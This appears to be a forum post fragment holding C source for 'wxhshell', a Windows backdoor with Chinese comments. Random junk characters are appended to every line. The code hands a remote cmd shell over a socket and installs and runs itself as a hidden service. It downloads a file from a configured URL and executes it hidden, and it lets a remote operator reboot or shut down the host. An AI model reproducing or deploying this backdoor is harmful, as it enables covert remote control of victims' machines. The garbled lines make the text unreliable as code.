  // 帮助 ]F;f`o  
  case '?': { o=21|z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); qp/v^$EA  
    break; BnCbon)  
  } .C&ktU4  
  // 安装 SF&BbjBE0  
  case 'i': { Qk\A c  
    if(Install()) \=uKHNP?#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "ul {d(K3  
    else ]3VI|f$$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <1FC%f/  
    break; E0u~i59Z  
    } D[^m{ 9_  
  // 卸载 U4gF(Q  
  case 'r': { '@p['#\uI  
    if(Uninstall()) v'VD0+3[H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &z>e5_.  
    else V>ieh2G(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'f[T&o&L/  
    break; &$]v h  
    } C!Rs^/  
  // 显示 wxhshell 所在路径 {P{bOe  
  case 'p': { V>R8GSx  
    char svExeFile[MAX_PATH]; [* @5\NWR}  
    strcpy(svExeFile,"\n\r"); ;k7xMZs  
      strcat(svExeFile,ExeFile); O) WCW<p  
        send(wsh,svExeFile,strlen(svExeFile),0); XLAN Np%E  
    break; FP;Ccl"s  
    } s0DGC  
  // 重启 jJuW-(/4[  
  case 'b': { Q.]}]QE   
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); c8L~S/t  
    if(Boot(REBOOT)) %7"X(Ts7B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P5 K' p5}#  
    else { wm)#[x #  
    closesocket(wsh); bKrhIU[  
    ExitThread(0); D+]a.& {p  
    } cgm81+[%r  
    break; Fb7#<h  
    } TQx.KM>y  
  // 关机 IG|X!l  
  case 'd': { o3I Tr';  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); fRtUvC-#H  
    if(Boot(SHUTDOWN)) O)ME"@r@:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LM7$}#$R  
    else { `FYv3w2  
    closesocket(wsh); XVKfl3'%  
    ExitThread(0); 5]HS^II"  
    } tZ^Ou89:rG  
    break; @1DX  
    } 87=^J xy  
  // 获取shell bzX\IrJpOZ  
  case 's': { GlbySD@  
    CmdShell(wsh); dHK`eS$sb  
    closesocket(wsh); wvbPnf^y  
    ExitThread(0); e XfZ5(na  
    break; 7VMvF/ap]u  
  } u86"Y ^d#  
  // 退出 xKQ+{"?-^g  
  case 'x': { {_S}H1,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); zipS ]YD  
    CloseIt(wsh); =dII- L=`  
    break; )yTm.F  
    } qEpi]=|  
  // 离开 1jc, Y.mP  
  case 'q': { yqi^>Ce0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); "FTfk  
    closesocket(wsh); f. FYR|%tq  
    WSACleanup(); SE),":aY  
    exit(1); ``OD.aY^s  
    break; 'bo~%WA]n  
        } agjv{  
  } [1F* bI  
  } 'ow.=1N-  
=li|  
  // 提示信息 'g$(QvGF 9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4\6N~P86  
} iVd.f A  
  } (cN}Epi(D  
c05%iv  
  return; rk7QZVE  
} R,|d`)T  
G(~;]xNW+  
// shell模块句柄 r8,romE$  
int CmdShell(SOCKET sock) nWMmna.5  
{ Kt"BE j  
STARTUPINFO si; k'#(1(xj  
ZeroMemory(&si,sizeof(si)); ;gs ^%z  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E;1Jh(58)b  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; I_xX Dr  
PROCESS_INFORMATION ProcessInfo; 2n `S5(V  
char cmdline[]="cmd"; =k/IaFg 6w  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  b^p"|L  
  return 0; fH)YFn/  
} 1qf!DMcdZ  
(iR ide  
// 自身启动模式 I =1+h  
int StartFromService(void) /w]!wM  
{ R1& [S/  
typedef struct 55;g1o}}f  
{ aBNZdX]vzO  
  DWORD ExitStatus; PJ2qfYsH=>  
  DWORD PebBaseAddress; Pv<24:ao  
  DWORD AffinityMask; t 0-(U\  
  DWORD BasePriority; F$^Su<w5l  
  ULONG UniqueProcessId; 9:e YU =  
  ULONG InheritedFromUniqueProcessId; ~t^eiyv  
}   PROCESS_BASIC_INFORMATION; LrAT Sq@  
Ma+$g1$  
PROCNTQSIP NtQueryInformationProcess; bks/ `rIA  
"m^' &L  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^`G`phd$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; TEMw8@b  
G 2mX;  
  HANDLE             hProcess; ei6AV1| p  
  PROCESS_BASIC_INFORMATION pbi; h;-yU.(w  
q+[Sb G&  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); H)>@/"j;  
  if(NULL == hInst ) return 0; #( 1j#\  
b*FC\ :\  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 'sxNDnGg  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {'AWZ(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >P/][MT  
fm^@i;D  
  if (!NtQueryInformationProcess) return 0; z8 [yt282  
2KQoy;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); cZ<A0  
  if(!hProcess) return 0; 6<'21  
8P"_#M?!  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; h68]=KyK  
-CRQ&#p1]  
  CloseHandle(hProcess); gq"gUaz  
Y;)dct  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Dc+'<"  
if(hProcess==NULL) return 0; ixV0|P8,c  
P|HKn,ar  
HMODULE hMod; i,|0@Vy  
char procName[255]; OQ,NOiNkap  
unsigned long cbNeeded; ?_v{| YI=  
V13BB44  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ** +e7k   
BbRBT@  
  CloseHandle(hProcess); '(dz"PL.  
QMsHC%l3b  
if(strstr(procName,"services")) return 1; // 以服务启动 2CzaL,je[  
AQc,>{Lm  
  return 0; // 注册表启动 ?X5]i#j[  
} UThB7(O,  
Nx-uQ^e*1  
// 主模块 5l,ZoB8  
int StartWxhshell(LPSTR lpCmdLine) Fh*j#*oe  
{ wQ%mN[  
  SOCKET wsl; Uz7^1.-g4  
BOOL val=TRUE; 0v]?6wX  
  int port=0; l$YC/ bP  
  struct sockaddr_in door; VL[kJi   
vA X|hwn;  
  if(wscfg.ws_autoins) Install(); vBsP+K  
Q43|U4a  
port=atoi(lpCmdLine); E7Ulnvd  
8kbY+W%n  
if(port<=0) port=wscfg.ws_port; g/&T[FOr  
t!2(7=P30(  
  WSADATA data; Vf`7V$sr  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5BR2?hO4  
wP57Pf0  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   [j"9rO" +  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *#TYqCc+g  
  door.sin_family = AF_INET; {VP$J"\e  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); k64."*X  
  door.sin_port = htons(port); JMCW}bA  
qiZO _=0  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { NWd<+-pC6  
closesocket(wsl); 4Td{;Y="yF  
return 1; :aG#~-Q  
} 5'Q|EIL  
.>(Q)"v  
  if(listen(wsl,2) == INVALID_SOCKET) { 1RKW2RCaW_  
closesocket(wsl); :0/q5_t  
return 1; < Z|Ep1W  
} \@>b;4Fb+N  
  Wxhshell(wsl); a"av#Y  
  WSACleanup(); i_kE^SSgm  
0I{gJSK.,  
return 0; xP=/N!,#  
r|*&GHo L  
} ql GW.jY.  
jAh2N3)  
// 以NT服务方式启动 .0G6flD   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) CdUAy|!`R  
{ N-g8}03  
DWORD   status = 0; ?DH"V7bs  
  DWORD   specificError = 0xfffffff; '&99?s`u  
xcJ `1*1N  
  serviceStatus.dwServiceType     = SERVICE_WIN32; QW_agm  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `+#G+Vu5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; xBFJ} v  
  serviceStatus.dwWin32ExitCode     = 0; a,Gxm!  
  serviceStatus.dwServiceSpecificExitCode = 0; %hN.ktZ/s  
  serviceStatus.dwCheckPoint       = 0; 4 V1bLm  
  serviceStatus.dwWaitHint       = 0; ,+;:3gRk9  
@R m-CWa  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); D{v8q)5r  
  if (hServiceStatusHandle==0) return; `p'Q7m2y/b  
7n o5b] \  
status = GetLastError(); XM<KF &pVB  
  if (status!=NO_ERROR) x"4} isp<  
{ \7z^!m  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Ke-)vPc  
    serviceStatus.dwCheckPoint       = 0; Wy]^Ub gW  
    serviceStatus.dwWaitHint       = 0; ,&Wn [G<2  
    serviceStatus.dwWin32ExitCode     = status; rtQHWRUn  
    serviceStatus.dwServiceSpecificExitCode = specificError; 6r"u$i` o  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); :y2p@#l#  
    return; +uWYK9  
  } UwY-7Mmo  
8SmnMt  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; hSGb-$~F  
  serviceStatus.dwCheckPoint       = 0; Og%U  
  serviceStatus.dwWaitHint       = 0; fn CItK~y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <e%F^#y_  
} J!ntXF  
|KYEK|  
// 处理NT服务事件,比如:启动、停止 NDO\B,7  
VOID WINAPI NTServiceHandler(DWORD fdwControl) K1?Gmue#I  
{ -S%x wJKM  
switch(fdwControl) +fKtG]$  
{ )R_E|@"  
case SERVICE_CONTROL_STOP: K~RoUE<3[  
  serviceStatus.dwWin32ExitCode = 0; /?/#B `  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; B`$L'  
  serviceStatus.dwCheckPoint   = 0; +KEkmXZ  
  serviceStatus.dwWaitHint     = 0; 8_H=^a>2  
  { _)$PKOzbb  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A\Txb_x  
  } @^ ik[9^H  
  return; Ovw[b2ii  
case SERVICE_CONTROL_PAUSE: QO{y/{  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -V % gVI[  
  break; 0(8H;T  
case SERVICE_CONTROL_CONTINUE: w> xV  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]+DI.%   
  break; .w6eJ4 ]  
case SERVICE_CONTROL_INTERROGATE: O)R(==P26P  
  break; r C[6lIP  
}; f DgD@YCD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %m{U& -(l@  
} kJs^ z  
i;PL\Er:tX  
// 标准应用程序主函数 I/x iT  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) iF+RnWX\  
{ p3^jGj@  
>i,iOx|E-  
// 获取操作系统版本 %ICglF R  
OsIsNt=GetOsVer(); )<4_:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4\ /*jA  
G&eP5'B4i  
  // 从命令行安装 qu6DQ@ ~YC  
  if(strpbrk(lpCmdLine,"iI")) Install(); $t rAC@3O@  
r!N]$lB  
  // 下载执行文件 ~<qt%W?  
if(wscfg.ws_downexe) { C.!_]Pxs  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ALd;$fd qf  
  WinExec(wscfg.ws_filenam,SW_HIDE); Fs/?  
} Ix DWJ#k  
zGcqzYbuA  
if(!OsIsNt) { (3,.3)%`  
// 如果时win9x,隐藏进程并且设置为注册表启动 > ^[z3T  
HideProc(); PHM:W%g:  
StartWxhshell(lpCmdLine); "L& k)J  
} g+zJ?  
else MN= sIP,zk  
  if(StartFromService()) JbQZ!+  
  // 以服务方式启动 \[wCp*;1}  
  StartServiceCtrlDispatcher(DispatchTable); mZ0J!QYk  
else pF=g||gS  
  // 普通方式启动 H ;@!?I  
  StartWxhshell(lpCmdLine); y@ek=fT%4  
(d2@Mz  
return 0; q$ghLGz  
}
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只看该作者 1 发表于: 2006-10-10
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